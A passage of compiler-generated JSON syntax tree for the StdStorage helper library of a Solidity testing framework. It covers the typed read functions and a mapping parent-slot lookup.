0"},"value":"0"},"src":"8861:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8383,"nodeType":"IfStatement","src":"8857:24:8","trueBody":{"expression":{"hexValue":"66616c7365","id":8381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8876:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":8371,"id":8382,"nodeType":"Return","src":"8869:12:8"}},{"condition":{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":8386,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":8384,"name":"v","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8373,"src":"8895:1:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"31","id":8385,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8900:1:8","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"8895:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8389,"nodeType":"IfStatement","src":"8891:23:8","trueBody":{"expression":{"hexValue":"74727565","id":8387,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8910:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":8371,"id":8388,"nodeType":"Return","src":"8903:11:8"}},{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f74206465636f64652e204d616b65207375726520796f75206172652072656164696e67206120626f6f6c2e","id":8391,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8931:84:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_91e3b02d190bb3e407570bfe894974b331ad10ba40f732248485a8a79ed8e4f5","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.\""},"value":"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91e3b02d190bb3e407570bfe894974b331ad10ba40f732248485a8a79ed8e4f5","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot decode. Make sure you are reading a bool.\""}],"id":8390,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"8924:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8392,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8924:92:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8393,"nodeType":"ExpressionStatement","src":"8924:92:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bool","nameLocation":"8753:9:8","parameters":{"id":8368,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8367,"mutability":"mutable","name":"self","nameLocation":"8782:4:8","nodeType":"VariableDeclaration","scope":8395,"src":"8763:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8366,"nodeType":"UserDefinedTypeName","pathNode":{"id":8365,"name":"StdStorage","nameLocations":["8763:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8763:10:8"},"referencedDeclaration":7427,"src":"8763:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8762:25:8"},"returnParameters":{"id":8371,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8370,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8395,"src":"8806:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8369,"name":"bool","nodeType":"ElementaryTypeName","src":"8806:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8805:6:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8414,"nodeType":"FunctionDefinition","src":"9029:131:8","nodes":[],"body":{"id":8413,"nodeType":"Block","src":"9103:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8406,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8398,"src":"9136:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8405,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9131:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8407,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9131:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8409,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9144:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":8408,"name":"address","nodeType":"ElementaryTypeName","src":"9144:7:8","typeDescriptions":{}}}],"id":8410,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9143:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":8403,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9120:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8404,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9124:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9120:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8411,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9120:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"functionReturnParameters":8402,"id":8412,"nodeType":"Return","src":"9113:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_address","nameLocation":"9038:12:8","parameters":{"id":8399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8398,"mutability":"mutable","name":"self","nameLocation":"9070:4:8","nodeType":"VariableDeclaration","scope":8414,"src":"9051:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8397,"nodeType":"UserDefinedTypeName","pathNode":{"id":8396,"name":"StdStorage","nameLocations":["9051:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9051:10:8"},"referencedDeclaration":7427,"src":"9051:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9050:25:8"},"returnParameters":{"id":8402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8401,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8414,"src":"9094:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8400,"name":"address","nodeType":"ElementaryTypeName","src":"9094:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9093:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8433,"nodeType":"FunctionDefinition","src":"9166:128:8","nodes":[],"body":{"id":8432,"nodeType":"Block","src":"9237:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8425,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8417,"src":"9270:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8424,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9265:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9265:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8428,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9278:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8427,"name":"uint256","nodeType":"ElementaryTypeName","src":"9278:7:8","typeDescriptions":{}}}],"id":8429,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9277:9:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":8422,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9254:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8423,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9258:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9254:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9254:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":8421,"id":8431,"nodeType":"Return","src":"9247:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_uint","nameLocation":"9175:9:8","parameters":{"id":8418,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8417,"mutability":"mutable","name":"self","nameLocation":"9204:4:8","nodeType":"VariableDeclaration","scope":8433,"src":"9185:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8416,"nodeType":"UserDefinedTypeName","pathNode":{"id":8415,"name":"StdStorage","nameLocations":["9185:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9185:10:8"},"referencedDeclaration":7427,"src":"9185:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9184:25:8"},"returnParameters":{"id":8421,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8420,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8433,"src":"9228:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8419,"name":"uint256","nodeType":"ElementaryTypeName","src":"9228:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9227:9:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8452,"nodeType":"FunctionDefinition","src":"9300:125:8","nodes":[],"body":{"id":8451,"nodeType":"Block","src":"9369:56:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8444,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8436,"src":"9402:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":8443,"name":"read","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8345,"src":"9397:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) returns (bytes memory)"}},"id":8445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9397:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":8447,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9410:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"},"typeName":{"id":8446,"name":"int256","nodeType":"ElementaryTypeName","src":"9410:6:8","typeDescriptions":{}}}],"id":8448,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9409:8:8","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"}],"expression":{"id":8441,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9386:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8442,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9390:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9386:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8449,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9386:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":8440,"id":8450,"nodeType":"Return","src":"9379:39:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_int","nameLocation":"9309:8:8","parameters":{"id":8437,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8436,"mutability":"mutable","name":"self","nameLocation":"9337:4:8","nodeType":"VariableDeclaration","scope":8452,"src":"9318:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8435,"nodeType":"UserDefinedTypeName","pathNode":{"id":8434,"name":"StdStorage","nameLocations":["9318:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9318:10:8"},"referencedDeclaration":7427,"src":"9318:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9317:25:8"},"returnParameters":{"id":8440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8439,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8452,"src":"9361:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":8438,"name":"int256","nodeType":"ElementaryTypeName","src":"9361:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"9360:8:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8518,"nodeType":"FunctionDefinition","src":"9431:621:8","nodes":[],"body":{"id":8517,"nodeType":"Block","src":"9508:544:8","nodes":[],"statements":[{"assignments":[8463],"declarations":[{"constant":false,"id":8463,"mutability":"mutable","name":"who","nameLocation":"9526:3:8","nodeType":"VariableDeclaration","scope":8517,"src":"9518:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8462,"name":"address","nodeType":"ElementaryTypeName","src":"9518:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":8466,"initialValue":{"expression":{"id":8464,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9532:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8465,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9537:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"9532:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"9518:26:8"},{"assignments":[8468],"declarations":[{"constant":false,"id":8468,"mutability":"mutable","name":"field_depth","nameLocation":"9562:11:8","nodeType":"VariableDeclaration","scope":8517,"src":"9554:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8467,"name":"uint256","nodeType":"ElementaryTypeName","src":"9554:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8471,"initialValue":{"expression":{"id":8469,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9576:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8470,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9581:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"9576:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9554:33:8"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":8472,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"9597:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8474,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9600:21:8","memberName":"startMappingRecording","nodeType":"MemberAccess","referencedDeclaration":12661,"src":"9597:24:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":8475,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9597:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8476,"nodeType":"ExpressionStatement","src":"9597:26:8"},{"assignments":[8478],"declarations":[{"constant":false,"id":8478,"mutability":"mutable","name":"child","nameLocation":"9641:5:8","nodeType":"VariableDeclaration","scope":8517,"src":"9633:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8477,"name":"uint256","nodeType":"ElementaryTypeName","src":"9633:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8486,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8485,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":8480,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9654:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8481,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"9660:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8479,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"9649:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9649:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8483,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9666:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"9649:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":8484,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8468,"src":"9673:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9649:35:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9633:51:8"},{"assignments":[8488,8490,8492],"declarations":[{"constant":false,"id":8488,"mutability":"mutable","name":"found","nameLocation":"9700:5:8","nodeType":"VariableDeclaration","scope":8517,"src":"9695:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8487,"name":"bool","nodeType":"ElementaryTypeName","src":"9695:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":8490,"mutability":"mutable","name":"key","nameLocation":"9715:3:8","nodeType":"VariableDeclaration","scope":8517,"src":"9707:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8489,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9707:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":8492,"mutability":"mutable","name":"parent_slot","nameLocation":"9728:11:8","nodeType":"VariableDeclaration","scope":8517,"src":"9720:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8491,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9720:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8501,"initialValue":{"arguments":[{"id":8495,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8463,"src":"9771:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8498,"name":"child","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8478,"src":"9784:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8497,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9776:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8496,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9776:7:8","typeDescriptions":{}}},"id":8499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9776:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8493,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"9743:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8494,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9746:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"9743:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9743:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"9694:97:8"},{"condition":{"id":8503,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"9805:6:8","subExpression":{"id":8502,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8488,"src":"9806:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8509,"nodeType":"IfStatement","src":"9801:201:8","trueBody":{"id":8508,"nodeType":"Block","src":"9813:189:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f742066696e6420706172656e742e204d616b65207375726520796f752067697665206120736c6f7420616e642073746172744d617070696e675265636f7264696e67282920686173206265656e2063616c6c65642e","id":8505,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9851:126:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""},"value":"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""}],"id":8504,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"9827:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9827:164:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8507,"nodeType":"ExpressionStatement","src":"9827:164:8"}]}},{"expression":{"components":[{"arguments":[{"id":8512,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8492,"src":"10027:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10019:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8510,"name":"uint256","nodeType":"ElementaryTypeName","src":"10019:7:8","typeDescriptions":{}}},"id":8513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10019:20:8","tryC